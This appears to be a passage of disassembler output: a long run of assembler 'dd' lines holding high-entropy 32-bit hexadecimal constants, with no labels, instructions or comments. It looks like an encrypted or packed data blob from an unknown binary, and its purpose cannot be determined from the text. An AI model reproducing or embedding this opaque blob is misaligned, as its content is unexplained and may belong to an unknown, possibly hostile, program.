dd 1267F6FFh, 98AFA7F9h, 190B686Bh, 63D3C29h, 3BDF931Eh
dd 60AF5D54h, 774A097Fh, 218586EDh, 7BD5AD0h, 4954A712h
dd 31D7F624h, 3FAD1C6Ah, 4AE22EE0h, 0B5745BDh, 447F9D81h
dd 2E63A65Ah, 61DF47E2h, 251258E9h, 7A886D1Bh, 0CCC0BC4Bh
dd 79C3805Bh, 94132C7Ch, 1A9640A6h, 4D1F17CBh, 0BD89D587h
dd 95E8FCD6h, 5F25AC7Fh, 55201A52h, 4787305Ah, 3101C0A0h
dd 0FDA60CDAh, 92388609h, 0D0FCF320h, 0D99DFF9Eh, 0F915EEC9h
dd 0F1A43F98h, 88538799h, 5BFA22EFh, 2F4E6E5Fh, 1766465Dh
dd 9F8357E6h, 1FAC54E4h, 2505F35Eh, 89ED71E8h, 83F35456h
dd 7B54DEA7h, 0D703AE2Ah, 4A16E238h, 816170EBh, 1E12EAEBh
dd 21EC4B9Eh, 5E8A9610h, 0BA52B600h, 4C194C64h, 9009D312h
dd 27092239h, 0EBC6918Bh, 65B54320h, 0C7CFFE66h, 87F9477Dh
dd 80D1605Bh, 527E2CC1h, 0F729CE7Ch, 9508815Ah, 70EB201Eh
dd 1984B5B7h, 5B59B841h, 0B614CC8Ah, 0F0D6A196h, 0E74D61h
dd 4C40BF57h, 0A85F1C30h, 1220125h, 0F9312189h, 57BDEE42h
dd 7F8EA3E7h, 9EEF16C6h, 40B56273h, 4CE596h, 103CF12Dh
dd 0E8282928h, 91840705h, 0BC838E5Ah, 0E46AB156h, 0E35E203Bh
dd 737C071Eh, 72933A24h, 85C83089h, 4988D02Eh, 0C13B106Dh
dd 0FD2A2641h, 0F38E651Dh, 321F266Fh, 6034050Ch, 4893F3Ah
dd 0BFD0F7A3h, 9A8BA5C4h, 6C0AFB5Ah, 0BB8189CAh, 3CD149DEh
dd 0B4A0AC20h, 5E8982CEh, 3ED804A9h, 0D65BA80Bh, 287A5C73h
dd 0DCD04181h, 0D49F957Dh, 0B7DADF2h, 7282551Eh, 31030782h
dd 9D8194CBh, 6E369B9Dh, 0FCF31692h, 0A860B9EBh, 92D695BEh
dd 0C707AAA6h, 7E29DC48h, 2822CF4h, 72FE3AECh, 0FC411361h
dd 68133F32h, 60603CB9h, 864B0Eh, 3DE051Ah, 502D333Eh
dd 0FAA6123Ch, 8102B502h, 54E8832Eh, 282A0553h, 0E78B003Dh
dd 43E00144h, 1464509Dh, 59A4DAE9h, 0B55E975Ah, 6982EF38h
dd 116DDD2Dh, 9E8D325h, 4ACEE09Dh, 899F91F6h, 5BB4F7A4h
dd 5DE25C2Dh, 664CF6A2h, 0F34AC442h, 0ADD4070Bh, 3F295902h
dd 53D07F38h, 0DE585D34h, 0F8D20C1Fh, 0EB4BB08Bh, 0C9AB3734h
dd 0F8B86FFFh, 0ED06D8Bh, 0D2B05009h, 8C6802FEh, 0C57D0BADh
dd 2D044B24h, 0AEC61383h, 0AA3A95B0h, 38A26748h, 0FC7DC827h
dd 47900CB1h, 0CC04EE53h
dd 551DBD04h, 0B9F4BB87h, 454DD116h, 1A743B2Eh, 0C83D18C2h
dd 0EE53525Fh, 56815C05h, 2EA088Ah, 34DF0BB0h, 0C8CB2941h
dd 0E918A754h, 805EA6D9h, 822D48F6h, 1114862Dh, 64FC152Fh
dd 52BF99B6h, 0BB4200FFh, 0C8723D6Ch, 0BE034FB2h, 97C60239h
dd 5242A3h, 4D4EC369h, 0CB011251h, 883EE98h, 61301C04h
dd 8EEB60E5h, 9853CBC9h, 80A70574h, 5E0BF701h, 46651E68h
dd 7D10979Fh, 47D37667h, 49281EFEh, 19FD2A18h, 87A45850h
dd 0BF8E090Fh, 34808259h, 5074117h, 0ED101D01h, 2A007806h
dd 1A2D3815h, 567EA80Bh, 7A3C87Ch, 1B1150E5h, 22DD5925h
dd 0FABB6ABDh, 78D23E11h, 38FC44CFh, 50E5CAAAh, 0C80B6035h
dd 0D53144FEh, 570097C5h, 7C2E7E68h, 0F5F7D59h, 0F91C70F7h
dd 0C76CE962h, 2C937774h, 0A5E08D1Fh, 0A4AF3E79h, 8F9AEE2h
dd 58775EE9h, 580A8A1h, 1A6B1E62h, 75F58C18h, 0DF09F1C5h
dd 7F0B6D60h, 0C33FF68Fh, 3DB64B3h, 1D7B1E79h, 0CD5E9A7Dh
dd 415E0C2h, 2D9BAA53h, 0F220AE5Fh, 5BE95FFBh, 0F261FE4Ah
dd 9C2636Eh, 125267FFh, 5DEBA0C2h, 0C1DAF199h, 1A358463h
dd 22705040h, 0EE7C4860h, 13454813h, 1D8BCEh, 6E7CC7C3h
dd 90F30142h, 0E9088085h, 9039AC8h, 0F52FDBAh, 0A801AC05h
dd 5BE34B75h, 1C294DDDh, 320C8723h, 0E1B4097Eh, 0E70245E9h
dd 585C4F5Ah, 96DD20D5h, 0BFB07DA6h, 80245DFEh, 2B40350Bh
dd 0ED8AA4F0h, 5A0934A8h, 174CCA89h, 0E90AD0B6h, 30BBFA19h
dd 1D28A241h, 0B83D64C0h, 2EB408Bh, 3E3FC873h, 5BF9C329h
dd 186AB3BFh, 0EA2B2667h, 3C051EC6h, 4030D2DBh, 5E7CBA56h
dd 0D2983E39h, 0E62BDD60h, 51022B68h, 0B2F7BE6Ah, 0A69EC005h
dd 9098BD69h, 0C4820C29h, 641F202Ah, 8026B507h, 0E801CCF5h
dd 8AF85259h, 93CDDDDFh, 0DEA6C7EBh, 0C6B504F3h, 38ECF56Ch
dd 0AA5DCCA8h, 0C0D69DCEh, 8871EB81h, 0E2D60160h, 0F170D59Bh
dd 52673EA2h, 38096805h, 9D10F8B3h, 0A2E45B6Ah, 13952D68h
dd 87C9E754h, 71BBF11Ah, 7A64A507h, 9CDBF602h, 0DF57BC91h
dd 5FD34100h, 0FFBC2055h, 5FF3F98Bh, 69F6BBECh, 0D82729B6h
dd 1DD1B74Dh, 4AE0E970h, 1B1D8C85h, 0ED899F60h, 98287B6h
dd 5DEB21B5h, 2824D955h, 68364004h, 153B1F31h, 0BD0007F9h
dd 392E1E5Eh, 4D14DB2Eh, 504F4DCFh, 995A98BCh, 4D49BE28h
dd 0D02F67BDh, 0C612DB5Bh, 0EDDA10FAh, 29177E10h, 0FF0F1F5Ch
dd 9068C630h, 3BB23C42h, 1C46D325h, 50CBFE00h, 0CC809AB4h
dd 0B6E92F1Ch, 305E7CC1h, 7B40373Ch, 0BD660E55h, 7931274h
dd 9C507C1Bh, 223FB804h, 4A29AD05h, 93880394h, 0DF147567h
dd 0E9176010h, 304708C4h, 0EA26C588h, 0F4FE5B70h, 681307EEh
dd 77AA23D4h, 6D0D317h, 0C16E3B4Ch, 595BDE88h, 0C7F14E9Dh
dd 8C01874Ch, 0F3995A35h, 5A6F3E6Ch, 2A4615Fh, 36B505AAh
dd 0B7DA17E4h, 0FD2F4E6Dh, 2C2E0315h, 34BE5660h, 0A030279h
dd 2161E957h, 0CAFE4A68h, 0FF53512Fh, 0AE453912h, 0B416153Fh
dd 0AB5E4EEEh, 7FB17097h, 0C18F79FCh, 552FB90Ah, 0A581CA2Dh
dd 2FD9F703h, 5AD24BD7h, 0A8BC6005h, 89C79791h, 0E9504926h
dd 0C9D6BFA5h, 720C334Ah, 0BE056CDBh, 5B12A872h, 2A25FF13h
dd 557F590Bh, 41F8E294h, 58D5829Dh, 4860F540h, 231FCE25h
dd 0FDD32E96h, 5D41D0BFh, 33009D2Dh, 320552ABh, 9847EE7Dh
dd 741F9E9h, 1245BB53h, 0B03096B1h, 56B59288h, 0F444C387h
dd 3B0F9A3Bh, 0AD975452h, 4002A2DAh, 6AF807EAh, 0F5816E0Ch
dd 4A520D03h, 2FEDBDBAh, 0C3FE6001h, 66313BE6h, 4177874Dh
dd 0C8DFFAD2h, 7D3004E6h, 4ECB26F7h, 0B0599B7Ah, 652C4F90h
dd 0EAA8B7FAh, 721E7C2Dh, 6488372Fh, 0BA0289Ah, 7F3F6BDDh
dd 520145F4h, 0F9CDE955h, 0B093EC3Eh, 0F5019B1h, 0C0FE67B0h
dd 0E8658F2Eh, 804FED07h, 0FCCF8047h, 0FED71CF6h, 48F9BBC7h
dd 0F93F0CEFh, 0C55697F0h, 7C16E2D2h, 81DF5AB2h, 49407160h
dd 3FC7CD70h, 5F6DA0Bh, 0A2BF3CFh, 0EDD08022h, 6560AA1Bh
dd 3848FC64h, 0E618C074h, 0E927419Ch, 740B3F25h, 669756BEh
dd 0FFC9D84h, 0BF2E5260h, 0BCE92C79h, 0B805BDC0h, 80086116h
dd 6F25DE5h, 20E91F3Eh, 16BDBE4Ch, 0C1FB16CAh, 7AE08963h
dd 0BBD247F6h, 0D3A8FEC1h, 82B7913Eh, 7B846A02h, 8016AD1Ah
dd 0BC5E1A29h, 0E1AB06Bh, 716F3AC6h, 6411CDC0h, 70BD3989h
dd 79B7097Ah, 26A488CAh, 0BB0CAA5Eh, 9BF8120h, 43300665h
dd 50477D98h, 6E626190h, 5501BE0Eh, 313F80E6h, 0CE25BBCEh
dd 58CBC3B4h, 0F8D7B57Fh, 7D23033Fh, 0A3BB0837h, 0B0EA8DF2h
dd 8809BDBBh, 0FC03199Ch, 0E829E24Bh, 0B6A129F2h, 8100D64Ah
dd 5F4BD4E1h, 3BCECF8h, 12756C08h, 7C680055h, 0E97E1551h
dd 0A7D687F8h, 5E90CD0Bh, 9468075Ah, 145F094Dh, 26349826h
dd 25996CB3h, 8A01A5Ch, 0A9DFD6C7h, 5D4EFF09h, 816E2DFAh
dd 4463C243h, 0CE525720h, 87DCAB36h, 8CE4DEEEh, 0C6313084h
dd 342A3609h, 3122F54Fh, 0BB0139C2h, 68DD22ADh, 0AE2A0025h
dd 5E2B2904h, 0C05E9AE2h, 0B97C6C3Ah, 44D22D79h, 3D5A80EEh
dd 6F76AD34h, 0B95E300h, 0D1E975C5h, 87FB9464h, 29787E06h
dd 0E20910Eh, 0E7C12A55h, 0CAC0348h, 0E07B56E3h, 4E4EBAD5h
dd 0B590E857h, 4E0C8004h, 61605EC7h, 4C21684Bh, 20203BD0h
dd 4F5E50F0h, 0C88B0031h, 5986BA04h, 871927F8h, 1E513F12h
dd 0C40B414Ah, 0C86C55A1h, 56638CF6h, 1A62AA67h, 2A986A15h
dd 6F21DE55h, 3AF0AC89h, 0C46FA199h, 0D1CDAAE1h, 0D896E603h
dd 2752D529h, 0DC58CA89h, 584B8EF6h, 662E33A7h, 0B7EA897Eh
dd 54F17F49h, 1E9580E5h, 3400C8FEh, 0B75366FCh, 1DD70455h
dd 3D2CF828h, 8513F048h, 0FC21541Bh, 8D014B1Eh, 6E94E15Ch
dd 253868C7h, 6EB27672h, 97A36E97h, 0E463C8F4h, 8DEF85B5h
dd 2B4BE93Ah, 7BFC3117h, 0E801E9F0h, 0CFB9C895h, 90CCFB6h
dd 9779BC53h, 966E77A5h, 4AB70CE0h, 5BDF5EECh, 45558782h
dd 0D893BE3Eh, 0B93C5384h, 0A8024ABBh, 4375ED2Dh, 62CBA8D5h
dd 53509F63h, 2C134C18h, 92CCE9A2h, 785B50BCh, 0E7795FCAh
dd 0C6EC5A44h, 0A2E2DE8Bh, 0D50BE375h, 5966AE40h, 0B756C330h
dd 0E91A2436h, 760A28AEh, 0F085CFD5h, 78F3BE8Ah, 0C36ED79Fh
dd 82FCB954h, 0AEC03239h, 3691B66Ah, 8F394FACh, 0E48B6856h
dd 9182F9CFh, 31E70AA2h, 3EB71032h, 58283E8Ch, 0B5A7A177h
dd 5B079273h, 0F28116FCh, 0CBAB98EBh, 2E60B16Bh, 0CDA191A8h
dd 9E0728AEh, 51EDB11Dh, 285C09A3h, 0E2DA3BFDh, 8BD8C5A2h
dd 508AF0B5h, 63D744FBh, 1DBCC852h, 31E5A44h, 5350B38Ah
dd 1FD0AECCh, 4B9EE9DEh, 5A31FFC5h, 5D02C186h, 0CF18D77h
dd 0C43AA23Ah, 0C7561C6Eh, 0C1D429Bh, 968BC500h, 0DD292509h
dd 8C6982F9h, 0B2D0634h, 76833C4Fh, 57260945h, 0EDDDE905h
dd 9F73F627h, 5D1C2E4Bh, 2CBA022Ch, 287F2797h, 680B086Ch
dd 0C7F97C77h, 933EA8F9h, 0B58D3245h, 60803321h, 4D67B925h
dd 123A356Bh, 5F4BA666h, 0D5FFC61Ah, 9F8C70Ah, 0EF2F3435h
dd 0EDD8A01Ah, 2FB3F8B5h, 819853FFh, 40C2FD75h, 0E26AF780h
dd 5E3241C6h, 0A794853Ah, 95C8BD7h, 0C6FD98AFh, 0C1B537E9h
dd 80BA652Fh, 0D9F759D8h, 87BAEFFAh, 49AEFF5Bh, 9DE05F82h
dd 3A0DF2CFh, 2A4F409Fh, 5E6A0B6Ah, 58B90B7Fh, 0ACFE033Dh
dd 4DE93D99h, 0DE5B752Dh
dd 0CE694F51h, 9500E4D7h, 548B6B76h, 0B0A69E58h, 58734051h
dd 0B15E5248h, 0EAC9DD88h, 0F84EEB36h, 27533F93h, 418DE2E3h
dd 0F7BED1ECh, 0A5B3A05Fh, 0DF2752BEh, 4127AA94h, 0D45D90D6h
dd 9011E21Ah, 744FDCCh, 0A5CCACAAh, 0DF6FE7AFh, 8B59C8C5h
dd 5AF48044h, 373C31FAh, 806E5749h, 307F3B20h, 175EDFD4h
dd 8844A460h, 891E78E8h, 4B99D811h, 0AB883E43h, 8DFC0206h
dd 0E182E99Dh, 68434976h, 173E9ECFh, 15D5455h, 0B00D6902h
dd 65A02B1Ch, 40FD766h, 167E9733h, 0CB1112AEh, 9E85153Fh
dd 89512E42h, 0BA77032Fh, 42E480FAh, 20C5B209h, 283C06CEh
dd 0EE3017F5h, 5B64CFAFh, 80F2BC13h, 0F0095C8Eh, 282D52E6h
dd 1FA2C7D8h, 0FED4AD36h, 0E646E985h, 74CA8D92h, 33D85ABBh
dd 0AE92F16h, 93070DA9h, 0AF6EEC38h, 0FD52E089h, 0D44C570Ah
dd 98B9F06h, 0E2B58050h, 9605997h, 725D681Eh, 856295D6h
dd 0DBE20CD5h, 1D924E12h, 1664E04h, 1C6F2102h, 87A19960h
dd 97C36880h, 206FE656h, 8084B151h, 200498C1h, 0F73FB67Fh
dd 41EF15DAh, 9FBD0339h, 4F1C4B2Eh, 0C59220C6h, 7B0C4161h
dd 98EA212Ch, 16418254h, 1AC2C0D9h, 7E967AF6h, 4CB569Dh
dd 99F920BEh, 454321Ch, 0DE4947BAh, 2DA6AABDh, 738AE84Ah
dd 0E706E22Ah, 6F7CD106h, 0E0608AE9h, 6B9D915Eh, 2D50AB7Eh
dd 9C3B288h, 4E5A375Fh, 0C7EFC100h, 4BBFE6CAh, 52620696h
dd 0C387746h, 8C4A5007h, 8C90125h, 0C340866h, 0E2681402h
dd 0BC775975h, 0F07E3A84h, 7F67B36Eh, 0D3E9DD0Eh, 0A6AE1246h
dd 0D0E98220h, 570FC809h, 8BC1C41Ch, 0CADBFE92h, 45B3E917h
dd 0CB180186h, 0E98B61C1h, 0E82EB099h, 64ABC469h, 0C718CDA3h
dd 8BEB6BB3h, 6DED2718h, 263E4D0Ch, 778BAh, 716CB8A9h
dd 2C00B62Dh, 0D8296502h, 0C01AD2E9h, 2BB5C13Dh, 8B20106h
dd 7C58F829h, 77BA5617h, 0AE8755DFh, 5486FA72h, 4FBB80D3h
dd 293B9565h, 5ED1A49Fh, 0C3D419F2h, 0E94CAE02h, 1174B418h
dd 12990E8Eh, 0F53EA2AFh, 5D80B082h, 4720A694h, 808658C8h
dd 0B762CC2Dh, 0F6D8B51h, 0AA71122Fh, 0CF61D045h, 1B688361h
dd 0A25B18CFh, 89554CD9h, 1971F57Dh, 0DB16F993h, 1280DDC4h
dd 1C0678Dh, 4B94685Bh, 7A584DDAh, 25488880h, 0A26C03E0h
dd 3D92E972h, 0FAA6BB85h, 29684D40h, 81FE2B0Fh, 0B239DCBEh
dd 72A46E03h, 0A2D51F8h, 95C2A920h, 799D8878h, 5DE96385h
dd 0BE56C301h, 70F12096h, 957E3DECh, 0B8BDCF73h, 9BAC05Bh
dd 87074BC9h, 0B59F8FF1h, 4477A020h, 42D43D68h, 4B3ECD97h
dd 0E202C16Eh, 81D0EDB6h, 0E9E1C60Fh, 0EE3778C8h, 6E5339D9h
dd 0AD5F51CCh, 0F501024Fh, 0FD88A4E9h, 24501F1h, 0A5A4AD89h
dd 3C820061h, 65E95BBEh, 0E6F57941h, 0F0B6A97Fh, 0D3CC2CE9h
dd 43B50566h, 19B84442h, 3F97A313h, 154890FAh, 0B353590Eh
dd 3D90A4F3h, 0EBE3465Ah, 3A078794h, 0C0150944h, 0B82337E3h
dd 6C6448h, 7101193Fh, 5E9B951h, 3140B103h, 0D3CCC2CBh
dd 5602DE40h, 0EA51B024h, 0C568ED02h, 0FE86803Ah, 0B75FFC61h
dd 8816FFAh, 8C0F2E5Bh, 90BF97F7h, 1BE90373h, 0BF78549Ah
dd 28FF6017h, 0F75A20AAh, 0D8F31E5Fh, 6C0B34EFh, 0F409E638h
dd 0CAF01650h, 2060482Ch, 0EB5A4FCCh, 33165344h, 357941A3h
dd 973C843Ah, 9578112Eh, 3B0C803Fh, 168F2A9h, 0BD56B7D6h
dd 2C68170h, 73686A0Bh, 0BDA9F6E9h, 0FA2D6F74h, 426CBF11h
dd 36877AA2h, 0E27095E9h, 1644B3Bh, 0A65557BEh, 0DC59DA4Eh
dd 0AFEF1686h, 0B92E5BD9h, 0BBA8841Ch, 20D3BC13h, 0F5882499h
dd 0FA855B07h, 68E9A2C8h, 9B4D54Eh, 0EA595684h, 12B08088h
dd 7C0F015Ah, 2B18543Eh, 15ED3901h, 0F43A11EFh, 2D04D000h
dd 2A43546Ah, 0B07B3BFh, 7227D768h, 9D954A86h, 92A02E21h
dd 17819B50h, 0B113BFF0h, 552698F8h, 318E7098h, 0E71D12Fh
dd 4D3C21D5h, 108060D8h, 51CE2D02h, 89E6E71Fh, 14C53EF5h
dd 9CB10FEEh, 80399BA4h, 7648C58Ch, 0DE294013h, 0F585D00Bh
dd 71B5ED6Ch, 31C2C4AAh, 89663FE2h, 0FDDD9517h, 25E6775Bh
dd 0A54B1AAh, 0D509D412h, 92ED706h, 0C3649D61h, 0DDF1D82Fh
dd 2DDB3517h, 1E2745BBh, 12D0216Ah, 0AAE93FBAh, 50C4B310h
dd 221ECE52h, 5CD6662Eh, 0C12B71F1h, 3ED519ECh, 0D7443144h
dd 1162F618h, 550F991Fh, 53C43616h, 916680FFh, 0C4908271h
dd 0F220C300h, 0FBE97588h, 276E9D1Fh, 12AE680Eh, 815B40EFh
dd 2D3078CBh, 1BDC1D83h, 0D042D196h, 0C2D3A905h, 2C2FF646h
dd 0F6B27061h, 0C05B9CC0h, 0B8008EBh, 0D92823C3h, 5FA45A02h
dd 966247F4h, 93E0D7C0h, 0D8A6842Bh, 0D69A27F0h, 0D69BC8BFh
dd 4A999F3Ah, 1695A468h, 0E39480Ah, 34575CA5h, 84CEF81Fh
dd 0BA0011C3h, 17263D2Eh, 29F6BF4h, 42CE31C9h, 20C3D07Dh
dd 0B90480F5h, 0A4B2D7Bh, 8CD09AEh, 7DAFE173h, 1708A49Ah
dd 2C140851h, 0BCF58107h, 5578220Fh, 7B047F5Eh, 0BA031299h
dd 817F2DC8h, 983F3644h, 1B436A5Fh, 0EEE95405h, 0AE8B16A0h
dd 0D88B4692h, 814A01D0h, 9F566ACAh, 0AEE2D822h, 2AE72012h
dd 7CEAA190h, 0B9C0120Bh, 9BFCA52h, 760E685Ah, 8EB28D4Ch
dd 0B5F26F68h, 3F6EC70Bh, 0FD3C6582h, 0DC36ABD5h, 1684A463h
dd 75D6D14Dh, 31946FB4h, 0F5DE1FC2h, 3C59E280h, 759562AEh
dd 0BF8A1984h, 0A6A21967h, 257E64F5h, 0B3063D4h, 81804B43h
dd 32B63BE5h, 1A602CA6h, 0F7405207h, 0F42D3633h, 616AE23Ah
dd 5EA08C1h, 3688EF05h, 53884F7Fh, 26C1F82Ch, 63AA175Eh
dd 0C914DCBDh, 2FC48574h, 0F70570FDh, 0A8B259E6h, 7E090547h
dd 76942286h, 1F5FBA0h, 0D064D978h, 9BC4E9h, 9C553868h
dd 0A5F60D1h, 0E59F5EE2h, 0C2C11B43h, 0D71830CFh, 6ABCEE73h
dd 202F069h, 7A3551EBh, 2FCA40E9h, 4BC979D7h, 0B6C997Fh
dd 0ED534674h, 9789C4EDh, 0CE193E03h, 3706A48Bh, 56E6B509h
dd 97A86A42h, 0FBB9529Dh, 0B84A3E8Bh, 8059D0A0h, 176808B9h
dd 0E181024Ch, 0D8B2748h, 0DFFB44C8h, 41F3FC2Eh, 0FD772100h
dd 98CD0131h, 590881DBh, 0F33C623Bh, 0EEC01B68h, 0C63D80F6h
dd 8B72A7DDh, 20F26C24h, 0F880DAA2h, 0DD8295E1h, 0D1179A01h
dd 51680Ah, 0CF03F4C7h, 4B04E944h, 76E09894h, 2608B559h
dd 0BF02ACEBh, 0C20AB16Ch, 874DF7E1h, 0CFAE03ADh, 0C61D2785h
dd 0B09790FAh, 0B30C8265h, 0AA560B40h, 294ACDEh, 0FC2F1C8Dh
dd 0EA01B585h, 9C03B74h, 606958FAh, 0C729A008h, 0E924C462h
dd 5E928454h, 52217A12h, 0CC3BA92Ch, 0C94F554Fh, 0F68433A9h
dd 0C936ECBBh, 31F3C27Dh, 0D8D150EBh, 0C53FCE61h, 5B0261E3h
dd 93AC6E31h, 9B2CEBE5h, 405843D8h, 7497F2B9h, 85CCA51h
dd 8707BD57h, 0C28243DFh, 0B15D5E4Ah, 843FFCFAh, 96FEB0Ah
dd 0AC416481h, 5721473Eh, 20158602h, 20B0C013h, 0E9DAC501h
dd 633D9DB6h, 0E4245E00h, 63892511h, 0D17B7D01h, 0CAF0E9E0h
dd 67CEAF88h, 2F74173Dh, 83872C35h, 0F5E002A5h, 4A0DFEBAh
dd 1BCE0109h, 782E1070h, 3FA04AD3h, 0DE0BA2EAh, 2DA70F2h
dd 0C17C939Dh, 0A7933CF1h, 452E0488h, 188D10B3h, 0E2E98E98h
dd 0BB5F18EDh, 20B10C4Ah, 0AC9E33EAh, 24154824h, 93EE3BB5h
dd 0F957B8F2h, 719F80BAh, 9790D728h, 0E866CA26h, 1202C46Ch
dd 0BEE5FE93h, 0A03186E5h, 8E56052Bh, 0E431EF66h, 68101FEBh
dd 0D4976B01h, 77E44F3h
dd 0FED4585Bh, 0E9188C83h, 0DE3055BBh, 3B326407h, 395CC351h
dd 6BB8314Fh, 0BB35E9ACh, 93FE2EF0h, 8239352Bh, 0C138C13Dh
dd 1405FEE4h, 0AB06B353h, 2DCB4432h, 1378B9BAh, 5AD70102h
dd 98BF921h, 5005722Bh, 0CD6DD84Bh, 1A4F343Eh, 65E5848Dh
dd 0FB0186BAh, 0C840D851h, 0B112D68h, 57495CD1h, 6862D9FBh
dd 61807C1Fh, 205D5855h, 0D94CAD05h, 77E4D3DDh, 31554097h
dd 0AA35EF77h, 0E2BBE548h, 10A2587Eh, 0C10B6B4Eh, 0CE0412E8h
dd 50550094h, 5840585Dh, 0E74D7395h, 96A80A14h, 4AE94E8Eh
dd 6FF22300h, 784ACD55h, 0C84E18ADh, 5697455Fh, 685F4117h
dd 3E133F41h, 4EBACBBFh, 40D1F5E4h, 4C05BAA9h, 5320030Bh
dd 8F1D180h, 822B5F9Fh, 0CB85D13Ch, 6B20E137h, 0CA4A07F7h
dd 286A10E4h, 4BF7433Dh, 9FA7FC3Fh, 260FE583h, 0AF47E73Eh
dd 9BEF160Eh, 0EFE91602h, 6FD34085h, 0A239F637h, 0B967F792h
dd 58221C2Fh, 3B895AFDh, 0C9848729h, 21B0167Ch, 0F32F1276h
dd 96E1A845h, 0A08C91AFh, 54F9147Ch, 0E5545E89h, 223DCE82h
dd 0F6C9C0BCh, 4E169828h, 4081F156h, 972666ACh, 4B0E3258h
dd 0CD312A04h, 7BB2F1AAh, 0FED929B0h, 0A4725A28h, 0A9C42901h
dd 28AA9EE2h, 0F00BF1F7h, 55FF2BF4h, 21A2441Ch, 0FD884FFh
dd 0A9B5CC0h, 302A4151h, 0DE98F26Bh, 0E9CE970Bh, 5828C1A3h
dd 0BA12F130h, 525B3F66h, 5682A517h, 55ABDF3h, 40D8691Ch
dd 0E9A3C0AFh, 30CB9C43h, 0F3E700D1h, 7D2867D4h, 9F052747h
dd 3E5A85E9h, 5F3F88E9h, 0BEF52E16h, 4E7EA8CBh, 4A200EFAh
dd 0B4EA35C4h, 1D19CDD3h, 9D667A8Ch, 176C12D0h, 0A433D8E9h
dd 742825C6h, 0EC20F467h, 0D97295A5h, 0C827E56Bh, 803CD7F8h
dd 51484859h, 0EC9057Dh, 13D42DB0h, 0E85BF8F8h, 0AC7F1D08h
dd 5008BE93h, 400D0130h, 6E7C0A12h, 0DA255580h, 24AF2522h
dd 0E00545C0h, 7C4B5CFAh, 0CBF136C1h, 1218CA6Ah, 84F77EC9h
dd 0B2032D7Bh, 646E3149h, 6B0F0528h, 4665A540h, 0F4D6AF4h
dd 20F68EEDh, 6015EC36h, 9F3E7FC6h, 0CFA9028h, 3339493Ah
dd 180D7E0Ch, 2A31C9BBh, 0BF560C30h, 2182D4F6h, 5D5B8575h
dd 3143677Ch, 5BF193CEh, 0E420508h, 0C232BEB5h, 2DD8F622h
dd 0ACA28F1Ch, 9408CA08h, 0B170E3C1h, 63A8238h, 5E5D67CBh
dd 0E911B0E7h, 4E9D7B86h, 0BC17CE9h, 4CF0680Bh, 0F68B6F99h
dd 4B98FBDDh, 5F6952D9h, 299B028h, 49B42982h, 0D0E2F789h
dd 607CAD00h, 0EFEC6D0Ah, 0B3475909h, 0F1A8576Fh, 605D1708h
dd 224A68E0h, 0AFC04CABh, 444FF369h, 4D96E707h, 7F2D0C50h
dd 3E092845h, 6036E887h, 0BCE3749Eh, 9D90C142h, 4F3DE20h
dd 71A1D68h, 0BF8B87Bh, 824258C9h, 0FFBD309Fh, 826BB394h
dd 1C945717h, 2F2617B7h, 5DC5B25Fh, 1D09A779h, 224E7F7Ah
dd 62485195h, 0B0C68D64h, 0BFF58AF0h, 91471697h, 0B96E53E1h
dd 3BADE47Fh, 8C6C9717h, 546A51FAh, 0B52EACD7h, 0CBAB4A3Fh
dd 78B9D3E3h, 372E6809h, 0B462905Ch, 0B5CE7552h, 59EE916h
dd 68280AA2h, 5B419829h, 5D4B22D9h, 80E8EE57h, 305CD6D9h
dd 6F0C3B2Ch, 274A7321h, 81A8794h, 0E914010Ch, 68323D89h
dd 0C77A2A04h, 0B1C4C422h, 872E6B98h, 0B841AA5Eh, 85D6E918h
dd 1B82287Eh, 4EFED44h, 0FD2BB6AEh, 0B42AB831h, 0EA5C04C2h
dd 0A750F45Ch, 7BEA91E8h, 0E79031F0h, 4F3BAC13h, 26835206h
dd 0BCB23C3Bh, 0FEFA4B12h, 78F86FD1h, 0E52D5A00h, 3C1541Eh
dd 0F6C74FCBh, 1FBC893Eh, 4B98DDC4h, 72661027h, 16C27785h
dd 0BB137245h, 0E23E1ED9h, 0BBE98220h, 602C86B0h, 0E55D4B99h
dd 41F47A4Dh, 0C8E00B0h, 34D8F6F4h, 0C34F2090h, 977E06B0h
dd 3DCB4EC8h, 813E3ECh, 71A826E9h, 0D8E1604Ch, 54C00457h
dd 9E84408Dh, 0C99B0B13h, 94E1879h, 4144DEBAh, 2F06EE68h
dd 0E42B548Dh, 0F95BE9F7h, 0EFFA784Eh, 0EB03D121h, 6CA20144h
dd 3052C399h, 0CFE80EE9h, 9BA3B3Ch, 7EA87153h, 8A422DD4h
dd 728404FFh, 0E71098AAh, 30BE834Eh, 2D716806h, 337E597h
dd 5E8EE95Dh, 0ABE6EB84h, 0D94BD618h, 0A1C07949h, 61772EEh
dd 0B2B7F639h, 82D69769h, 0AE8CD27Eh, 2C2E48B5h, 0DB29E9F8h
dd 0ED63B1BBh, 0EF170317h, 16E022B0h, 0FBB5C5DBh, 92B75B4h
dd 574ED65Ah, 0CD278E6h, 0F75763ABh, 71319DFCh, 0E06A6058h
dd 0A443C74Fh, 3BDEF606h, 0B409800Bh, 25621EE9h, 86314FDDh
dd 1F4814E9h, 8B83EB1Fh, 0E901C917h, 4B4912CCh, 8236B37Fh
dd 0F70B212Dh, 827E14E9h, 0FE10EF6Dh, 0F004F5D6h, 0AE1392h
dd 8921165Ah, 0CB018117h, 6FCD4186h, 4BDACFE9h, 2EF6B192h
dd 5B40B22Eh, 0A658D0B8h, 0F72F5720h, 56CC25D1h, 0A54AEEFCh
dd 36EF2061h, 30DD4D12h, 5FCC3611h, 5AC4CEFh, 261292DCh
dd 0C7ACCAF9h, 3F920D3Dh, 0BD3A018Ah, 6B6E70CBh, 0D4017213h
dd 435B2E39h, 0C908D364h, 8C030306h, 5E2451FDh, 0B7A62B5Ch
dd 614EF400h, 622D3Fh, 251F3A6Dh, 26320249h, 2AB1E912h
dd 8BC45FE2h, 5272BE1Ch, 818E0921h, 59277648h, 92C049B6h
dd 0BC55648h, 0B1E93074h, 11B6E77Dh, 0E913240Ah, 82F8CFD7h
dd 34D4A5E5h, 0D17968D8h, 74FC999Fh, 0E974F07Bh, 278B7D24h
dd 0B69DD953h, 7AC33001h, 0A21538Dh, 0EB9944CCh, 0E366256Ah
dd 0B1683BECh, 3D4A477Ah, 0DE17FD32h, 82CDBBBAh, 0D78AED7Eh
dd 4C4BDABAh, 2C490564h, 0CD001CC1h, 7A7E12E9h, 1D090935h
dd 87DD42D2h, 92D3412Ah, 0AC6C5A80h, 70631073h, 92B98950h
dd 0B2AC4B9Eh, 0AF05D25Bh, 89CBCD9Fh, 8872CC12h, 40F257B2h
dd 0BE273B5Ah, 13BB4284h, 0A0C6ACC0h, 99051168h, 0AFCAB0C6h
